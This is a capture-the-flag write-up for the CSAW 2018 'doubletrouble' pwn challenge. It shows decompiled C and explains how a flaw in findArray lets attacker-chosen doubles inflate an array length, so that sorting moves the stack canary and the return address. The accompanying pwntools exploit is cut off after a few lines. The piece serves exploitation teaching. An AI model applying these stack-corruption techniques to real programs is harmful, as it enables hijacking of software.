Tags: pwn 

Rating:

## DOUBLETROUBLE

**by [TRX](https://theromanxpl0it.github.io)**

The core function is the following:

```c
int game()
{
int v0;
long double sum;
long double max;
long double min;
int v4;
int how_long;
int idx;
char *s;
double array[64];
unsigned int v10;

canary = __readgsdword(0x14u);
printf("%p\n", array); // Stack address leak
printf("How long: ");
__isoc99_scanf("%d", &how_long);
getchar();
if ( how_long > 64 )
{
printf("Flag: hahahano. But system is at %d", &system);
exit(1);
}
idx = 0;
while ( idx < how_long )
{
s = malloc(100u);
printf("Give me: ");
fgets(s, 100, stdin);
v0 = idx++;
array[v0] = atof(s);
}
printArray(&how_long, array);
sum = sumArray(&how_long, array);
printf("Sum: %f\n", sum);
max = maxArray(&how_long, array);
printf("Max: %f\n", max);
min = minArray(&how_long, array);
printf("Min: %f\n", min);
v4 = findArray(&how_long, array, -100.0, -10.0);
printf("My favorite number you entered is: %f\n", array[v4]);
sortArray(&how_long, array);
puts("Sorted Array:");
return printArray(&how_long, array);
}
```

The program stores the readed doubles in an array on the stack.
The array is 532 bytes from the return address, so 64 entries are not enough for a buffer overflow.

The findArray function is interesting, a correct manipulation of the input can change the how_long variable.

```c
int findArray(int *len, double *arr, double a, double b)
{
int saved_len;

saved_len = *len;
while ( *len < 2 * saved_len )
{
if ( arr[*len - saved_len] > a && b > arr[*len - saved_len] )
return *len - saved_len; // Here *len is not restored to saved_len
*len += &GLOBAL_OFFSET_TABLE_ - 134529023; //*len += 1
}
*len = saved_len; // We want to avoid this piece of code
return 0;
}
```

Giving a number greater than -10 `*len` is increased and with a number greater than -100 and lower than -10 we can avoid the restring of `*len` with `saved_len`.

We choose -1.1 and -20.1.

With `how_long` greater than 64 the sortArray procedure will sort our input and the values that are on the stack after the array, like the canary and the return address.

The binary addresses casted to double are sorted after -1.1.

To exploit the vulnerability we need to place the canary in the same position before and after the sorting so it must start with 0x00b.
Due to this requirement the exploit must be runned many times to work.

Here the exploit:

```python
#!/usr/bin/env python

from pwn import *

LIBC_NAME = "./libc6_2.27-3ubuntu1_i386.so" # found on libc database using system (0x200)

def pdouble(f):
return struct.pack('

Original writeup (https://theromanxpl0it.github.io/ctf_csawquals18/doubletrouble/).